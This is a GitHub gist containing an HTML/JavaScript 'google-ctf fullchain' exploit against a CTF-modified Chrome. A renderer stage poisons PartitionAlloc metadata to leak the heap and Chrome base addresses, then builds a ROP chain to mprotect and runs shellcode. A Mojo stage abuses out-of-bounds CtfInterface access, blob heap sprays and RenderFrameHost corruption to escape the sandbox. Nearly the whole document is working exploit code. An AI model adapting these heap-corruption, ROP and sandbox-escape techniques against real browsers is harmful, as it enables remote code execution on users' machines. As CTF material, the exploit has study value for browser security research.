Skip to content

Instantly share code, notes, and snippets.

@hkraw
Created January 2, 2022 21:34

Revisions

  1. hkraw created this gist Jan 2, 2022.
    462 changes: 462 additions & 0 deletions index.html
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,462 @@
    <html>
    <head>
    <title>google-ctf fullchain</title>
    </head>
    <body>
    <h1>HK</h1>
    <pre id='log'></pre>
    </body>
    <script src='./mojo/mojo_bindings.js'></script>
    <script src="./mojo/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
    <script src='./mojo/third_party/blink/public/mojom/CTF/ctf_interface.mojom.js'></script>
    <script id='helpers'>
    const L_pop_rsp = 0xb01caf1n
    const L_syscall_ret = 0x800dd77n
    const L_pop_rax = 0x36b1bc4n
    const L_pop_rdi = 0xb37a33bn
    const L_pop_rdx = 0xb8dfaa2n
    const L_pop_rsi = 0xb49636fn

    let wasm_code = new Uint8Array([
    0, 97,115,109, 1, 0, 0, 0, 1,133,128,128,128, 0,
    1, 96, 0, 1,127, 3,130,128,128,128, 0, 1, 0, 4,
    132,128,128,128, 0, 1,112, 0, 0, 5,131,128,128,128,
    0, 1, 0, 1, 6,129,128,128,128, 0, 0, 7,145,128,
    128,128, 0,2,6,109,101,109,111,114,121,2,0,4,109,97,
    105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,
    0,65,42,11
    ])
    var wasmModule = new WebAssembly.Module(wasm_code)
    var wasmInstance = new WebAssembly.Instance(wasmModule)
    var evilFunc = wasmInstance.exports.main

    let conversionBuffer = new ArrayBuffer(0x40)
    let floatView = new Float64Array(conversionBuffer)
    let intView = new BigUint64Array(conversionBuffer)
    let u8View = new Uint8Array(conversionBuffer)
    BigInt.prototype.hex = function(){return '0x' + this.toString(16) }
    BigInt.prototype.i2f = function(){intView[0] = this;return floatView[0]}
    BigInt.prototype.smi2f = function(){intView[0] = this << 32n; return floatView[0] }
    BigInt.prototype.shl32 = function(){return this << 32n}
    BigInt.prototype.shr32 = function(){return this >> 32n }
    String.prototype.to_u64 = function(){
    var tmp = this
    while(tmp.length%8)
    tmp += "\x00"
    for(let i = 0; i < 8; i++)
    u8View[i] = tmp.charCodeAt(i)
    return intView[0]
    }
    BigInt.prototype.byteSwap = function(){
    var result = 0n
    var tmp = this
    for(let i = 0; i < 8; i++) {
    result = result << 8n
    result += tmp & 255n
    tmp = tmp >> 8n
    }
    return result
    }
    BigInt.prototype.not = function() {
    var result = 0n
    var tmp = this
    for(var i = 0; i < 8; i++) {
    result = result << 8n
    result += (0xffn - (tmp&0xffn))
    tmp = tmp >> 8n
    }
    return result
    }
    Number.prototype.f2i = function(){floatView[0] = this;return intView[0]}
    Number.prototype.f2smi = function(){floatView[0] = this;return intView[0] >> 32n}
    Number.prototype.f2il = function(){floatView[0] = this;return intView[0] & 0xffffffffn}
    Number.prototype.i2f = function(){return BigInt(this).i2f()}
    Number.prototype.smi2f = function(){return BigInt(this).smi2f()}
    const getSuperPage = addr =>
    addr & (~((1n << 21n) - 1n))
    const getPartitionPageBaseWithinSuperPage = ( addr, partitionPageIndex ) =>
    getSuperPage(addr) + partitionPageIndex << 14n
    const getMetadataArea = addr =>
    getSuperPage(addr) + 0x1000n
    const getPartitionPageMetadataArea = addr =>
    getMetadataArea(addr) +
    ((addr & ((1n << 21n) - 1n)) >> 14n) * 0x20n
    const sleep = ms =>
    new Promise(resolve=>setTimeout(resolve,ms))
    const gc = () => {
    let promise = new Promise((cb)=>{
    let arg;
    for(let i = 0; i < 50; i++)
    new ArrayBuffer(0x100000)
    cb(arg)
    })
    return promise
    }
    function getAllocationConstructor() {
    let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
    Mojo.bindInterface(blink.mojom.BlobRegistry.name,
    mojo.makeRequest(blob_registry_ptr).handle, "process", true);
    function Allocation(size=280) {
    function ProgressClient(allocate) {
    function ProgressClientImpl() {}
    ProgressClientImpl.prototype = {
    onProgress: async (arg0) => {
    if (this.allocate.writePromise) {
    this.allocate.writePromise.resolve(arg0);
    }
    }
    };
    this.allocate = allocate;
    this.ptr = new mojo.AssociatedInterfacePtrInfo();
    var progress_client_req = mojo.makeRequest(this.ptr);
    this.binding = new mojo.AssociatedBinding(
    blink.mojom.ProgressClient,
    new ProgressClientImpl(),
    progress_client_req
    );
    return this;
    }
    this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
    this.progressClient = new ProgressClient(this);
    blob_registry_ptr.registerFromStream("", "", size,
    this.pipe.consumer,
    this.progressClient.ptr).then((res) => {
    this.serialized_blob = res.blob;
    })
    this.malloc = async function(data) {
    promise = new Promise((resolve, reject) => {
    this.writePromise = {resolve: resolve, reject: reject};
    });
    this.pipe.producer.writeData(data);
    this.pipe.producer.close();
    written = await promise;
    console.assert(written == data.byteLength);
    }
    this.free = async function() {
    this.serialized_blob.blob.ptr.reset();
    await new Promise(resolve=>setTimeout(resolve, 100));
    }
    this.read = function(offset, length) {
    this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
    this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
    return new Promise((resolve) => {
    this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
    result = new ArrayBuffer(length);
    this.readpipe.consumer.readData(result);
    this.watcher.cancel();
    resolve(result);
    })});
    }
    this.readQword = async function(offset) {
    let res = await this.read(offset, 8);
    return (new DataView(res)).getBigUint64(0, true);
    }
    return this;
    }
    async function allocate(data) {
    let allocation = new Allocation(data.byteLength);
    await allocation.malloc(data);
    return allocation;
    }
    return allocate;
    }
    async function heapSpray(
    allocator, data, size) {
    return Promise.all(
    Array(size).fill().map(
    () => allocator(data)
    ));
    }
    </script>
    <script>
    if(typeof(Mojo)!=='undefined') {
    (async function() {
    function createIframe(htmlContent) {
    var iframe = document.createElement("iframe")
    document.body.appendChild(iframe)
    iframe.contentWindow.document.open()
    iframe.contentWindow.document.write(htmlContent)
    iframe.contentWindow.document.close()
    return iframe
    }
    console.log('Mojo Enabled')
    let ctf_ptrs = new Array()
    let allocator = getAllocationConstructor()

    for(var i = 0; i < 0x10; i++) {
    ctf_ptrs.push(new blink.mojom.CtfInterfacePtr())
    Mojo.bindInterface(blink.mojom.CtfInterface.name,
    mojo.makeRequest(ctf_ptrs[i]).handle)
    }
    await sleep(1000)
    var iframes = []
    for(var i = 0; i < 0x10; i++) {
    iframes.push(createIframe('<html></html>'))
    }
    for(var i = 0; i < 0x10; i++) {
    await ctf_ptrs[i].resizeVector(0x2400/8)
    await ctf_ptrs[i].write(1.1, 0)
    await sleep(100)
    }
    await ctf_ptrs[1].ptr.reset()
    await ctf_ptrs[2].ptr.reset()

    for(var i = 0; i < 0x3; i++) {
    document.body.removeChild(iframes[i])
    }
    /* RFH OFFSET 0x3bb600 */
    let heap_leak = (await ctf_ptrs[0].read((0x4800)/8)).value.f2i().byteSwap()
    let superPage = getSuperPage(heap_leak)
    let metaPage = getMetadataArea(heap_leak)
    let partitionPageMeta = getPartitionPageMetadataArea(heap_leak)

    let partition_Base = (heap_leak >> 32n) << 32n
    console.log('[+] Heap Leak: 0x' + heap_leak.toString(16))
    console.log('[+] MetaPage: 0x'+metaPage.toString(16))
    console.log('[+] partitionPageMeta: 0x' + partitionPageMeta.toString(16))
    console.log('[+] Partition base: 0x' + partition_Base.toString(16))

    await ctf_ptrs[0].write((heap_leak - BigInt(0xae00)).byteSwap().i2f(),0x4800/8)
    await ctf_ptrs[0].write((heap_leak - BigInt(0xae00)).not().i2f(), (0x4800/8) + 1)

    for(var i = 1; i <= 2; i++) {
    ctf_ptrs[i] = new blink.mojom.CtfInterfacePtr()
    Mojo.bindInterface(blink.mojom.CtfInterface.name,
    mojo.makeRequest(ctf_ptrs[i]).handle)
    }
    await ctf_ptrs[1].resizeVector(0x2400/8)
    await ctf_ptrs[2].resizeVector(0x2400/8) /* OOB to RenderFrameHost */

    let chrome_leak = (await ctf_ptrs[2].read((0x4800/8) + 2 )).value.f2i()
    let chrome_base = chrome_leak - 0xbc694f0n
    console.log('[+] Target Allocation addr: 0x' +(partition_Base + BigInt(0x3bb600)).toString(16))
    console.log('[+] Chrome base: 0x'+chrome_base.toString(16))
    var shellcode = [
    0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
    0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
    0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
    0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
    ]
    console.log('shellcode len: 0x'+shellcode.length.toString(16))
    let S_code = new ArrayBuffer(0x2400)
    let scode_array_uint8 = new Uint8Array(S_code)
    for(var i = 0; i < shellcode.length; i++) {
    scode_array_uint8[i] = shellcode[i]
    }
    await sleep(1000)
    console.log('Now')
    /* Shellcode Vector */
    let blob = await heapSpray(allocator, S_code, 1) /* 0xa64000 */
    console.log('[+] Shellcode addr: 0x'+ (heap_leak - 0xc000n).toString(16))
    let L_ROP = [
    (heap_leak - BigInt(0xae00)).i2f(),
    (chrome_base + L_pop_rdi).i2f(),
    (heap_leak - BigInt(0xc400)).i2f(),
    (chrome_base + L_pop_rsi).i2f(),
    (0x3000n).i2f(),
    (chrome_base + L_pop_rdx).i2f(),
    0x7n.i2f(),
    (chrome_base + L_pop_rax).i2f(),
    0xan.i2f(),
    (chrome_base + L_syscall_ret).i2f(),
    ( (heap_leak - BigInt(0xc000) )).i2f(),
    0x41414141n.i2f()
    ]
    for(var i = 0; i < L_ROP.length; i++) {
    await ctf_ptrs[2].write(L_ROP[i], i)
    }
    await ctf_ptrs[2].write((chrome_base + BigInt(0x3d9d013)).i2f(), 0x118/8)
    await ctf_ptrs[2].write((heap_leak - BigInt(0xae00)).i2f(), (0x2400/8))
    iframes[4].contentWindow.document.open() /* Trigger */
    })()
    } else {
    (async function() {

    const partitionAlloc_hook = 0xc3abe10
    const wasmInstance_offset = 0x82865c9
    const ptrCompare_cage = 0xc37afa0
    await gc(); await gc(); await gc(); await gc();
    var no_gc = new Array()
    var ab1 = new ArrayBuffer(0x10)
    var array1 = new Uint8Array(ab1).fill(0x41)
    var array2 = new Uint8Array(1)

    array2[0] = 0x00
    array1.set(array2,0x17)
    array2[0] = 0x11
    array1.set(array2,0x16)
    array2[0] = 0xff
    array1.set(array2,0x17+0x8)
    array2[0] = 0xee
    array1.set(array2,0x17+0x7)
    no_gc.push(ab1)
    no_gc.push(array2)
    no_gc.push(new ArrayBuffer(0x10))
    var superPageAllocation = new BigUint64Array(new ArrayBuffer(0x10))
    no_gc.push(superPageAllocation)
    var tmp_buffer = new ArrayBuffer(0x100)

    var arrayBuffer_leak = superPageAllocation[0]
    let superPage = getSuperPage(arrayBuffer_leak)
    let metaPage = getMetadataArea(arrayBuffer_leak)
    let partitionPage = getPartitionPageMetadataArea(arrayBuffer_leak)

    console.log('[+] PartitionHeap leak: 0x' + arrayBuffer_leak.toString(16))
    console.log('[+] SuperPage: 0x' + superPage.toString(16))
    console.log('[+] MetaData Area: 0x' + metaPage.toString(16))
    console.log('[+] PartitionPage: 0x' + partitionPage.toString(16))

    await gc(); await gc(); await gc(); await gc();
    let victim = new Uint8Array(new ArrayBuffer(0x10))
    array2[0] = 0x30
    victim.set(array2, 0x17)
    array2[0] = 0x11
    victim.set(array2, 0x16)
    array2[0] = 0xff - (0x30)
    victim.set(array2, 0x17+0x8)
    array2[0] = 0xff - (0x11)
    victim.set(array2, 0x17+0x7)

    no_gc.push(new ArrayBuffer(0x10))
    var leakChromeBuffer = new BigUint64Array(new ArrayBuffer(0x10))

    var tmp_buffer = new ArrayBuffer(0x200)
    let chrome_leak = leakChromeBuffer[0]
    let chrome_base = chrome_leak - 0xc51dbd8n
    console.log('[+] Chrome base: 0x' + chrome_base.toString(16))

    let arb_alloc_buffer = new ArrayBuffer(0x10)
    let arb_typed_arr = new BigUint64Array(arb_alloc_buffer)

    let partition = undefined
    function arb_alloc(address, size, hookOverride=undefined) {
    let victim = new BigUint64Array(new ArrayBuffer(size))
    no_gc.push(victim)
    arb_typed_arr[0] = BigInt(address).byteSwap()
    arb_typed_arr[1] = BigInt(address).not()
    if(size != 8) {
    victim.set(arb_typed_arr, (size/8))
    } else {
    victim.set(arb_typed_arr, (size/8)+1)
    }
    no_gc.push(new ArrayBuffer(size))
    return new ArrayBuffer(size)
    }
    await gc(); await gc(); await gc();

    function build_ropchain(arrayBuffer, rop_chain) {
    var tmp = 0n
    for(var i = 0; i < rop_chain.length; i++) {
    tmp = rop_chain[i]
    for(var j = 1; j < 9; j++) {
    arrayBuffer[i] = Number(tmp&0xffn)
    tmp >>= 8n
    }
    }
    }
    let L_ROP_CHAIN = new Uint8Array(0x100*8)
    let builder = new BigUint64Array(0x100)
    builder[1] = chrome_base + 0x7490e83n
    builder[0x8] = 0x41414141n
    builder[0x9] = 0x41414141n
    builder[0xa] = 0x41414141n
    builder[0xb] = 0x41414141n
    builder[0xc] = chrome_base + L_pop_rdi
    builder[0xd] = chrome_base
    builder[0xe] = chrome_base + L_pop_rsi
    builder[0xf] = 0xc56d000n
    builder[0x10] = chrome_base + L_pop_rdx
    builder[0x11] = 7n
    builder[0x12] = chrome_base + L_pop_rax
    builder[0x13] = 0xan
    builder[0x14] = chrome_base + L_syscall_ret
    builder[0x15] = chrome_base + L_pop_rdi
    builder[0x16] = superPage + 0x38000n
    builder[0x17] = chrome_base + L_pop_rsi
    builder[0x18] = 0x1000n
    builder[0x19] = chrome_base + L_pop_rax
    builder[0x1a] = 0xan
    builder[0x1b] = chrome_base + L_syscall_ret
    builder[0x1c] = superPage + 0x38000n
    var tmp = 0n
    var counter = 1
    for(var i = 0; i < builder.length; i++) {
    tmp = builder[i]
    for(var j = 0; j < 8; j++) {
    L_ROP_CHAIN[counter] = Number(tmp&0xffn)
    tmp >>= 8n
    counter++
    }
    }
    partition_hook = new BigUint64Array(arb_alloc(chrome_base + BigInt(partitionAlloc_hook), 0x30))
    const roundUp = (value, multiple) => (value + multiple - 1) & ~(multiple - 1);
    function I64ToBytes(num) {
    let numh = Number(num/0x100000000n);
    let numl = Number(num&0xffffffffn);
    var result = [];
    for (let j = 0; j < 4; ++j)
    result.push((numl >>> 8 * j) & 0xff);
    for (let j = 0; j < 4; ++j)
    result.push((numh>>> 8 * j) & 0xff);
    return result;
    }
    function flatten(array) {
    let result = new Array(array.length),
    index = 0,
    flattenInternal = (array, result) => {
    for (let element of array) {
    if (Array.isArray(element))
    flattenInternal(element, result)
    else result[index++] = element;
    }
    }
    flattenInternal(array, result);
    result.length = index;
    return result;
    }
    function prepareBytes(shellcode) {
    let flatArray = flatten(shellcode),
    roundUpLength = roundUp(flatArray, 8),
    result = [];
    while (flatArray.length < roundUpLength)
    flatArray.push(0x90);
    return flatArray;
    }
    let shellcode = new Uint8Array(prepareBytes([
    0x48, 0xbf, I64ToBytes(superPage + BigInt(0x28009)), //mov rdi, rsp holder
    0x48, 0xb9, I64ToBytes(chrome_base + BigInt(0x13f7a4f)), //WTF
    0x48, 0x8b, 0x27, // mov rsp, [rdi]
    0x48, 0x89, 0xe7, // mov rsp, rdi
    0x48, 0x89, 0xe5, // mov rbp, rsp
    0x48, 0x83, 0xed, 0x20, // sub rbp, 0x20
    0x48, 0x83, 0xec, 0x40, // sub rsp, 0x40
    0x48, 0xc7, 0xc2, 0x00, 0x10, 0x00, 0x00, // mov rdx, 0x1000
    0x48, 0xb8, I64ToBytes(chrome_base + BigInt(partitionAlloc_hook)), // mov rax, base::PartitionAllocHooks::hooks_enabled_
    0x48, 0x81, 0xc4, 0xf0, 0x00, 0x00, 0x00, // add rsp, 0xe8
    0xc6, 0x00, 0x01, // mov byte ptr [rax], 1
    0x48, 0x83, 0xc0, 0x10, // add rax, 0x10
    0x49, 0xb8, I64ToBytes(chrome_base + BigInt(L_pop_rdi+1n)), // mov r8, instr ret
    0x4c, 0x89, 0x00, // mov qword ptr [rax], r8
    0x48, 0x83, 0xc0, 0x08, // add rax, 0x8
    0x49, 0xb8, I64ToBytes(0n), // mov r8, 0
    0x4c, 0x89, 0x00, // mov qword ptr [rax], r8
    0x48, 0x83, 0xc0, 0x08, // add rax, 0x8
    0x49, 0xb8, I64ToBytes(chrome_base + BigInt(L_pop_rdi+1n)), // mov r8, instr ret
    0x4c, 0x89, 0x00, // mov qword ptr [rax], r8
    0x49, 0xb8, I64ToBytes(chrome_base + BigInt(0x6100c14)), // mov r8, base::PartitionPurgePage<true>(base::internal::PartitionPage<true>
    0x41, 0xc6, 0x00, 0xc3, // mov byte ptr [r8], 0xc3
    0x49, 0xb8, I64ToBytes(chrome_base + BigInt(0xad8f379)), // mov r8, DidCreateScriptContext()+105
    0x66, 0x41, 0xc7, 0x00, 0x90, 0x90, // mov word ptr [r8], 0x9090
    0x49, 0xb8, I64ToBytes(chrome_base + BigInt(0x5406e60)), //mov r8, SweepFull()
    0x41, 0xc6, 0x00, 0xc3, // mov byte ptr [r8], 0xc3
    0xc3, // ret
    ]));
    /* xchg rsp, rax */
    partition_hook[0] = superPage + BigInt(0x28001)
    partition_hook[3] = chrome_base + BigInt(0x3d9d013)
    let chrome_data_section = new ArrayBuffer(0x10)
    await gc();await gc();await gc();await gc();
    location.reload()
    })()
    }
    </script>